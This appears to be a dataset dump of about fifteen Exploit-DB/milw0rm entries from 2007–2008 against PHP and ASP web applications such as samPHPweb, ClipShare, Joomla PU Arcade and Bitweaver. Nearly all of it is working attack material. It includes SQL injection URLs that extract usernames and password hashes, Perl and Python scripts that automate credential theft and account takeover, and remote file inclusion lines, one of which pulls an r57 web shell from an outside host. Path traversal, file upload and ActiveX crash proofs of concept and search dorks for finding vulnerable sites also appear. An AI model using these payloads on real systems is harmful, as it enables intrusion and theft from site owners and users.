QLWD/code_shield huggingface dataset:
标题: samPHPweb 4.2.2 - 'db.php' Remote File Inclusion EDB-ID: 4834 CVE: 2008-0143 类型: WEBAPPS 平台: PHP 发布日期: 2008-01-04 漏洞利用脚本: +______________________________________________By Crackers_Child___________________________________________+

*
*
*    [~] Script.......:       samPHPweb
*    [~] Page.........:       http://support.spacialaudio.com/forums/viewforum.php?f=22  & http://www.spacialaudio.com/
*    [~] Author.......:       Crackers_Child  | cybermilitan@hotmail.com & localexploit@hotmail.com
*    [~] Class........:       Remote File Ä°nclude Vulnerability
*    [~] Dork.........:       This page was produced using SAM Broadcaster. Â© Copyright Spacial Audio Solutions, LLC 1999 - 2004.
*    [~] Dork.........:       This page was produced using SAM Broadcaster. Â© Copyright Spacial Audio Solutions
*    [~] Dork.........:       This page was produced using SAM2 (Streaming Audio Manager)
+_______________________________________________________________________________________________________________________+


+_______________________________________________________________________________________________________________________+
*
*
*     
*
*       [~] Exploit Rfi...:     http://[Taget]/[Path]/common/db.php?commonpath=sh3lz?
*
*                             
+_______________________________________________________________________________________________________________________+



        [~] Ä°nfo......: Can Yakar . . .
                      



+_______________________________________________________________________________________________________________________+

+_______________________________________________________________________________________________________________________+
*
*
*       [~] Special Thanx.......:    str0ke, BiyoSecurity.Net, SiberSavascilar.com And All F3ckers :)
*
+_______________________________________________________________________________________________________________________+

# milw0rm.com [2008-01-04] URL: https://www.exploit-db.com/exploits/4834
标题: samPHPweb 4.2.2 - 'songinfo.php' SQL Injection EDB-ID: 4836 CVE: 2008-0187 类型: WEBAPPS 平台: PHP 发布日期: 2008-01-05 漏洞利用脚本: Title:samPHPweb (songinfo.php) Remote SQL Injection
Script:samPHPweb
Download:http://www.spacialaudio.com/download/samPHPweb.zip
Bug:songinfo.php
Author:BackDoor
Dork1:inurl:samPHPweb/playing.php
Dork2:This page was produced using SAM Broadcaster. Â© Copyright Spacial Audio Solutions, LLC 1999 - 2004.
Exploit:
www.victim.com/scriptpath/songinfo.php?songid=-1/**/UNION/**/SELECT/**/0,1,2,3,4,5,6,7,8,9,10,11,12,13,password,user,16,17,18,19,20,21,22,23,24,@@version,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44/**/from/**/mysql.user

# milw0rm.com [2008-01-05] URL: https://www.exploit-db.com/exploits/4836
标题: snetworks PHP Classifieds 5.0 - Remote File Inclusion EDB-ID: 4838 CVE: 2008-0137 类型: WEBAPPS 平台: PHP 发布日期: 2008-01-05 漏洞利用脚本: +______________________________________________By Crackers_Child___________________________________________+

*
*
*    [~] Script.......:       SNETWORKS PHP CLASSIFIEDS
*    [~] Page.........:       http://www.snetworks.biz/
*    [~] Author.......:       Crackers_Child  | cybermilitan@hotmail.com & localexploit@hotmail.com
*    [~] Class........:       Remote File Ä°nclude Vulnerability
*    [~] Demo.........:       http://xxxclassifieds.com/classifieds/
*    [~] Dork.........:       Powered by SNETWORKS PHP CLASSIFIEDS
+_______________________________________________________________________________________________________________________+


+_______________________________________________________________________________________________________________________+
*
*
*    
*
*       [~] Exploit Rfi...:     http://[Taget]/[Path]/config.inc.php?path_escape= http://www.sibersavascilar.com/cr/r57.txt?
*
*
*
*                            
+_______________________________________________________________________________________________________________________+



        [~] Ä°nfo......: Can Yakar . . .
                     



+_______________________________________________________________________________________________________________________+

+_______________________________________________________________________________________________________________________+
*
*
*       [~] Special Thanx.......:    str0ke, BiyoFrm.com,BiyoSecurity.Net, SiberSavascilar.com And All F3ckers :)
*
+_______________________________________________________________________________________________________________________+

# milw0rm.com [2008-01-05] URL: https://www.exploit-db.com/exploits/4838
标题: NetRisk 1.9.7 - Local/Remote File Inclusion EDB-ID: 4833 CVE: 2008-0144 类型: WEBAPPS 平台: PHP 发布日期: 2008-01-04 漏洞利用脚本: #########################################################################
        NetRisk <= 1.9.7 Remote/Local File Inclusion Vulnerability      #
#########################################################################
AUTHOR     : S.W.A.T.       #
HOME       : http://svvat.ir             #
Download   : http://phprisk.org/netrisk_1.9.7.zip                       #
#########################################################################
DorKs      : inurl:index.php?page=gamebrowser                           #
#########################################################################
## EXPLOIT :                                                            #
http://server.com/Path/index.php?page=[SHELL]                           #
http://server.com/Path/index.php?page=[-LFI-]                           #
#########################################################################
## GREETZ  : Str0ke - Dj7xpl - DarKLiFe - NazNazi - XmorsTEAM           #
#########################################################################
## Note    : BaBayE NET For Ever :-h =; :(( :((                         #
#########################################################################
========================================================================#
||  ##    ##   ##           ##########   #######     ########         ||#
||   ##  ##    ##########   ##########   ##   ##     ##               ||#
||    ####     ##########   ##      ##   #######     ########         ||#
||    ####     ##  ##  ##   ##      ##   #######           ##         ||#
||   ##  ##    ##  ##  ##   ##########   ##    ##          ##         ||#
||  ##    ##   ##  ##  ##   ##########   ##     ##   ########         ||#
========================================================================#
#########################################################################
#                #
#   BYE ALL MY FRIENDS OVER THE NET & EVERYTHING ON THE NET             #
#                #
#########################################################################

# milw0rm.com [2008-01-04] URL: https://www.exploit-db.com/exploits/4833
标题: ClipShare 2.6 - Remote User Password Change EDB-ID: 4837 CVE: 2008-7188 类型: WEBAPPS 平台: PHP 发布日期: 2008-01-05 漏洞利用脚本: #!/usr/bin/perl -w
#priv8
#Pr0metheuS
#Exploit Name: Clipshare Remote User Password Change Exploit
#Version Script: Clipshare 2.6
#Dork: "Powered by Clipshare"
#EnjoY
print "-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-";
print "\nClipshare 2.6 Remote User Passord Change Exploit\n";
print "\nBy Pr0metheuS \n";
print "-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-\n\n";
print "Site Address:\n";
$SITE = <STDIN>;
chomp $SITE;
print "Path to Site:\n";
$PATH = <STDIN>;
chomp $PATH;
print "ID user:\n";
$ID = <STDIN>;
chomp $ID;
print "Your Email(to send user password):\n";
$EM = <STDIN>;
chomp $EM;
use LWP::UserAgent;
$ua = new LWP::UserAgent;
$ua->agent("Mozilla/8.0");
$ua = LWP::UserAgent->new;
my $req = HTTP::Request->new(POST => "$SITE$PATH/siteadmin/useredit.php?action=edit&uid=$ID");
$req->content_type('application/x-www-form-urlencoded');
$req->content("email=$EM&fname=&lname=&city=&country=United+States&website=&occupation=&company=&school=&interest_hobby=&fav_movie_show=&fav_book=&fav_music=&aboutme=&emailverified=no&account_status=Active&submit=Update");
$res = $ua->request($req);
if (($res->content =~ /$EM/)) {
print "Update!\n";
use LWP::UserAgent;
$ua2 = new LWP::UserAgent;
$ua2->agent("Mozilla/8.0");
$ua2 = LWP::UserAgent->new;
my $req2 = HTTP::Request->new(POST => "$SITE$PATH/recoverpass.php");
$req2->content_type('application/x-www-form-urlencoded');
$req2->content("email=$EM&recover=Submit");
$res = $ua2->request($req2);
print "Check your Email!\n";
}
else{
print "Wrong ID or path!";
}

# milw0rm.com [2008-01-05] URL: https://www.exploit-db.com/exploits/4837
标题: AGENCY4NET WEBFTP 1 - 'download2.php' File Disclosure EDB-ID: 4828 CVE: 2008-0091 类型: WEBAPPS 平台: PHP 发布日期: 2008-01-01 漏洞利用脚本: ########                  ######              ####                ######  ######
  ##      ##                    ##                  ##                  ####  ####  
  ##              ######        ##            ####  ##                  ####  ####  
  ##            ##      ##      ##          ##    ####                  ##  ##  ##  
  ##    ######  ##      ##      ##    ##    ##      ##                  ##      ##  
  ##      ##    ##      ##      ##    ##    ##      ##                  ##      ##  
    ######        ######      ##########      ##########              ######  ######
                                                        ##############              

####################################################################################
###### AGENCY4NET WEBFTP 1 download2.php Remote File Disclosure Vulnerability  #####
###### http://sourceforge.net/project/platformdownload.php?group_id=206982     #####
###### POC :                                                                   #####
###### /Script/download2.php?file=../../../../../../../../../../../etc/passwd  #####
###### D0rk :  :(                                                              #####
###### TrYaG-TeaM [Tryag.com/cc], H-T Team , RoMaNcYxHaCkEr , Asb-May's Team   #####
####################################################################################

# milw0rm.com [2008-01-01] URL: https://www.exploit-db.com/exploits/4828
标题: ClipShare - 'UID' SQL Injection EDB-ID: 4830 CVE: 2008-0089 类型: WEBAPPS 平台: PHP 发布日期: 2008-01-02 漏洞利用脚本: #########################################################################
          video sharing www.clip-share.com Remote SQL Injection Exploit All Version

#########################################################################
AUTHOR :Krit webmaster of http://www.thaishadow.com
HOME : http://www.thaishadow.com
Download : http://www.clip-share.com/
###########################################################################
DorKs :inurl:/uprofile.php?UID=
or
"Powered by clipshare"
###########################################################################
## EXPLOIT :
http://server.com/Path/uprofile.php?UID=1+and+1=2+union+select+1,2,concat(uid,char(58),username,char(58),pwd),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32+from+signup+limit+0,20/*
###########################################################################
## GREETZ  : Exploiters,Pongz,{OHM},Usermode,windows98SE,azazel,Tesz,Mr`Ping
###########################################################################

# milw0rm.com [2008-01-02] URL: https://www.exploit-db.com/exploits/4830
标题: MyPHP Forum 3.0 (Final) - Multiple SQL Injections EDB-ID: 4822 CVE: 2007-6667 类型: WEBAPPS 平台: PHP 发布日期: 2007-12-31 漏洞利用脚本: Name            :  MyPHP Forum <= 3.0 (Final) Multiple Remote SQL Injection Vulnerability
Author          :  x0kster
Email           :  x0kster@gmail.com
Site            :  ihteam.net
Script Download :  http://www.myphp.ws/
Date            :  31/12/2007
Dork            :  "Powered by: MyPHP Forum"

Note: 
For work, magic_quotes_gpc must be turned off on the server.
Usally the table prefix is 'nb'.



Sql injection in faq.php

   <?php
    //faq.php
    [...]
    $id = $_GET['id'];
    if($action == "view" && !empty($id)) {
 $result = mysql_query("SELECT * from $db_faq WHERE id='$id'") or die(mysql_error()); // <-- So miss a control :-D
 $row = mysql_fetch_array($result);
 $row[answer] = postify($row[answer]);
    [...]
   ?>

So we can execute an sql injection thrught the bugged variable $id.

PoC:

http://Site/faq.php?action=view&id=-1'+union+select+1,concat(username,0x3a,password),3+from+{table_prefix}_member+where+uid=1/*




Sql injection in member.php

   <?php
    //member.php
   [...]
    if($action == "viewpro") {
 $member = $HTTP_GET_VARS['member'];
 $query = mysql_query("SELECT * FROM $db_member WHERE username='$member'") or die(mysql_error());
   [...]
   ?>

So $member variable isn't controlled so we can exploit it.

PoC:

http://Site/member.php?action=viewpro&member=-1'+union+select+1,2,3,4,5,6,7,8,9,concat(username,0x3a,password),11,12,13,14,15,16,17,18,19,20,21,22+from+{table_prefix}_member+where+uid=1/*

# milw0rm.com [2007-12-31] URL: https://www.exploit-db.com/exploits/4822
标题: Joomla! Component PU Arcade 2.1.3 - SQL Injection EDB-ID: 4827 CVE: 2007-6663 类型: WEBAPPS 平台: PHP 发布日期: 2007-12-31 漏洞利用脚本: #########################################################################
          Joomla Component  PU Arcade Remote SQL Injection Exploit
#########################################################################

## AUTHOR :  HouSSamix of H-T TeaM
We are ( HouSSamix _ ToXiC350 _ CoNaN ) 

## HOME : http://no-hack.net

## Script :  PU Arcade Joomla Component ( Tested in version 2.0.3 & 2.1.3 Beta )

## Download : http://www.pragmaticutopia.com/

## DorKs :  PU Arcade by www.pragmaticutopia.com
                         inurl:index.php?option=com_puarcade
                         inurl:/option,com_puarcade/
   
## EXPLOIT :

http://server.com/Path/index.php?option=com_puarcade&Itemid=92&fid=-1%20union%20select%20concat(username,0x3a,password)%20from%20jos_users--


## GREETZ  :  GoLd_M , RoMaNcYxHaCkEr , Jiko , cx0x  and all musulmans hackers

#########################################################################
           Joomla Component  PU Arcade Remote SQL Injection Exploit
#########################################################################

# milw0rm.com [2007-12-31] URL: https://www.exploit-db.com/exploits/4827
标题: WebPortal CMS 0.6.0 - 'index.php' SQL Injection EDB-ID: 4826 CVE: 2007-6664 类型: WEBAPPS 平台: PHP 发布日期: 2007-12-31 漏洞利用脚本: #!/usr/bin/perl -w

# WebPortal CMS <= 0.6.0 Remote Sql Injection Exploit
# Script Site : webportal.ivanoculmine.com
# by x0kster - x0kster[AT]gmail[DOT]com
# PoC : http://site/index.php?m=index.php?m=-1'+union+select+1,concat(uname,0x3a,pass),3,4,5,6,7+from+portal_users+where+id=1/*
# Note : For work register_globals is must be turned on and warning messages too and magic_quotes_gpc must be turned off.
# Vuln Code in index.php:
# <?php
#  [...]
#  if (isset($m)) {
#  $result = db_query ("SELECT * FROM ".$prefix."modules WHERE id='$m';"); <- Vuln Code :-)
#  [...]
# ?>
# If we select an inesistent id of a mod, it'll try to include it.
# So we have a warning error with the hash!.

use LWP::UserAgent;
if (@ARGV < 2){
 print "---------------------------------------------------------------\n";
 print "WebPortal CMS <= 0.6.0 Remote Sql Injection Exploit by x0kster.\n";
 print "Usage : perl $0 site userid \n";
 print "Ex:     perl $0 http://localhost/webportal/ 1\n";
 print "Coded by x0kster -x0kster[AT]gmail[DOT]com   \n";
 print "---------------------------------------------------------------\n";
 exit();
 }
$b = LWP::UserAgent->new() or die "[-]LWP::UserAgent error.\n";
$b->agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)');
print "[+]Exploiting.\n";
$host = $ARGV[0]."index.php?m=index.php?m=-1'+union+select+1,concat(uname,0x3a,pass),3,4,5,6,7+from+portal_users+where+id=".$ARGV[1]."/*";
$res = $b->request(HTTP::Request->new(GET=>$host));
$res->content =~ /([0-9a-fA-F]{32})/;
print "[+]Ok, hash for username with userid ".$ARGV[1]." is $1\n";
print "[+]Exploiting terminated.\n";
print "[+]Coded by x0kster\n";

# milw0rm.com [2007-12-31] URL: https://www.exploit-db.com/exploits/4826
标题: DivX Player 6.6.0 - ActiveX 'SetPassword()' Denial of Service (PoC) EDB-ID: 4829 CVE: 2008-0090 类型: DOS 平台: WINDOWS 发布日期: 2008-01-02 漏洞利用脚本: <object id="divx" classid="clsid:D050D736-2D21-4723-AD58-5B541FFB6C11" style="display:none;">
</object>

<script>
function crash() {
var buff = '';
for(i=0;i<=500;i++) {buff+="AAAAAAAAAA";}

object = document.getElementById("divx");
object.SetPassword(buff);
}
</script>

<pre>
<h3><u>DivX SetPassword (npUpload.dll) Denial of Service</u></h3>
<b>Tested on IE 7 and Divx Player 6.6.0</b>

<b>Registers:</b>

EAX 00000000
ECX FFFFFFFF
EDX 0191CA50
EBX 008E06E0
ESP 0191C9E4
EBP 0191CA50
ESI 00000000
EDI 00000000
EIP 061F2B52 npUpload.061F2B52

Access violation when reading [00000000]...


<i>Discovered by shir, 02/01/2007</i>

<a href="javascript:;" OnClick="crash()">Crash...</a>
</pre>

# milw0rm.com [2008-01-02] URL: https://www.exploit-db.com/exploits/4829
标题: IPTBB 0.5.4 - 'id' SQL Injection EDB-ID: 4821 CVE: 2007-6639 类型: WEBAPPS 平台: PHP 发布日期: 2007-12-31 漏洞利用脚本: ---------------------------------------------------------------
 ____            __________         __             ____  __  
/_   | ____     |__\_____  \  _____/  |_          /_   |/  |_
 |   |/    \    |  | _(__  <_/ ___\   __\  ______  |   \   __\
 |   |   |  \   |  |/       \  \___|  |   /_____/  |   ||  | 
 |___|___|  /\__|  /______  /\___  >__|            |___||__| 
          \/\______|      \/     \/                          
---------------------------------------------------------------

Http://www.inj3ct-it.org        Staff[at]inj3ct-it[dot]org   

---------------------------------------------------------------

          Remote Sql Injection

---------------------------------------------------------------

# Author: MhZ91
# Title: IPTBB <= 0.5.4 Remote Sql Injection
# Download: http://sourceforge.net/projects/iptbb/
# Bug: Remote Sql Injection
# Info: IPTBB is a free forum system built using PHP and mysql.
# Visit: http://www.inj3ct-it.org

---------------------------------------------------------------

http://[site]/index.php?act=viewdir&id='+union+select+1,concat(username,char(58),password,char(58),email,char(58),msn)+from+iptbb_users+where+id=[UserID]/*

Change [UserID] whit id of member u want get user and password ( the default id of the admin is 1 ) .

In the admincp.php , in general settings, u can insert a html code for redirect .

---------------------------------------------------------------

# milw0rm.com [2007-12-31] URL: https://www.exploit-db.com/exploits/4821
标题: oneSCHOOL - 'admin/login.asp' SQL Injection EDB-ID: 4824 CVE: 2007-6665 类型: WEBAPPS 平台: ASP 发布日期: 2007-12-31 漏洞利用脚本: #!/usr/bin/python

#oneSCHOOL admin/login.asp SQL Injection explot (for all versions)
#by Guga360.

import urllib
from sys import argv

query = {'txtOperation':'Login','txtLoginID':"""
' union select min(LoginName),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from UsersSecure where LoginName>'a'--""",'txtPassword':'x','btnSubmit':'L+O+G+I+N+%3E%3E'}

queryx = urllib.urlencode(query)

if len(argv)<>2:
    print """
    **********
    
    Usage:
    oneSCHOOLxpl.py [host]

    [+] Exploiting...
    
    [+] User: admin
    [+] Password: 123
    
    *******************
    """
else:
    try:
        print '\n[+] Exploting...\n'
        host = argv[1]        
        if host[0:7]<>'http://':
            host = 'http://'+host
        url = urllib.urlopen(host+'/admin/login.asp', queryx)
        url = url.read()
        url = url.split()
        name = url.index('varchar')+2
        name = url[name]
        name = name.replace("'","")
        print '[+] User: ' + name
        query2 = query.copy()
        query2['txtLoginID']="""' union select min(Password),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from UsersSecure where LoginName='"""+name+"""'--"""
        query2 = urllib.urlencode(query2)
        url = urllib.urlopen(host+'/admin/login.asp', query2)
        url = url.read()
        url = url.split()
        passw = url.index('varchar')+2
        passw = url[passw]
        passw = passw.replace("'","")
        print '[+] Pass: '+passw
    except:
        print '[+] Not vulnerable!'

# milw0rm.com [2007-12-31] URL: https://www.exploit-db.com/exploits/4824
标题: w-Agora 4.2.1 - 'cat' SQL Injection EDB-ID: 4817 CVE: 2007-6647 类型: WEBAPPS 平台: PHP 发布日期: 2007-12-30 漏洞利用脚本: #########################################################################################
#
#         [W-Agora <= 4.2.1]
#
# Class:     SQL Injection  # Found:     30/12/2007 # Remote:    Yes  # Site:      http://w-agora.net
# Download:  http://sourceforge.net/project/showfiles.php?group_id=3413
#   #########################################################################################

        Exploit :
===================================================================================================================================================================================================================
http://site.com/[w-agora_path]/index.php?site=[site_name]&cat=-1/**/UNION/**/ALL/**/SELECT/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,concat(userid,0x3a,password),24/**/FROM/**/agora_users/*
===================================================================================================================================================================================================================


        Thanks To:
=========================
All ihteam.net members;
=========================

DORK: allinurl:"index.php?site=" "W-Agora"

#ihteam.net - Inclusion Hunter Team 

# milw0rm.com [2007-12-30] URL: https://www.exploit-db.com/exploits/4817
标题: Bitweaver R2 CMS - Arbitrary File Upload / Disclosure EDB-ID: 4814 CVE: 2007-6651 2007-6650 类型: WEBAPPS 平台: PHP 发布日期: 2007-12-30 漏洞利用脚本: ########################## WwW.BugReport.ir #########################
#
#      AmnPardaz Security Research Team
#
# Title: Bitweaver R2 CMS
# Vendor: http://www.bitweaver.org
# Bugs: source code disclosure, arbitrary file upload
# Vulnerable Version: 2 (prior versions also may be affected)
# Exploitation: Remote with browser
# Fix Available: No!
################################################################


####################
- Description:
####################

Bitweaver is an open source content management system. Its speed and power are ideal for large-scale community websites and corporate applications, but it is simple enough for non-technical small site users to set up and administrate.

####################
- Vulnerability:
####################

+--> arbitrary file upload

Code Snippet:

/fisheye/upload.php line#32-45

 $i = 0;
 foreach( array_keys( $_FILES ) as $key ) {
  if( preg_match( '/(^image|pdf)/i', $_FILES[$key]['type'] ) ) {
   $upImages[$key] = $_FILES[$key];
   if( !empty( $_REQUEST['imagedata'][$i] ) ) {
    $upData[$key] = $_REQUEST['imagedata'][$i];
   } else {
    $upData[$key] = array();
   }
  } elseif( !empty( $_FILES[$key]['tmp_name'] ) && !empty( $_FILES[$key]['name'] ) ) {
   $upArchives[$key] = $_FILES[$key];
  }
  $i++;
 }

It's possible to upload arbitrary files with image/gif content-type (this can be changed via local proxy or direct content altertion)
also its possible for an attacker to bypass "/storage/.htaccess" restriction by uploadding his own .htaccess and control server settings.


+-->source code disclosure

Code Snippet:

/wiki/edit.php line#179-195

if( isset( $_REQUEST["suck_url"] ) ) {
 // Suck another page and append to the end of current
 require_once( UTIL_PKG_PATH.'htmlparser/html_parser_inc.php' );
 $suck_url = isset( $_REQUEST["suck_url"] ) ? $_REQUEST["suck_url"] : '';
 $parsehtml = isset( $_REQUEST["parsehtml"] ) ? ( $_REQUEST["parsehtml"] == 'on' ? 'y' : 'n' ): 'n';
 if( isset( $_REQUEST['do_suck'] ) && strlen( $suck_url ) > 0 ) {
  .
  .
  .
  $sdta = @file_get_contents( $suck_url );

POC: http://localhost/bitweaver/wiki/edit.php?page=SandBox&suck_url=./../kernel/config_inc.php&do_suck=h

####################
- Credit :
####################
Original Advisory:http://www.bugreport.ir/?/24
AmnPardaz Security Research Team
Contact: admin[4t}bugreport{d0t]ir
WwW.BugReport.ir
WwW.AmnPardaz.com

# milw0rm.com [2007-12-30] URL: https://www.exploit-db.com/exploits/4814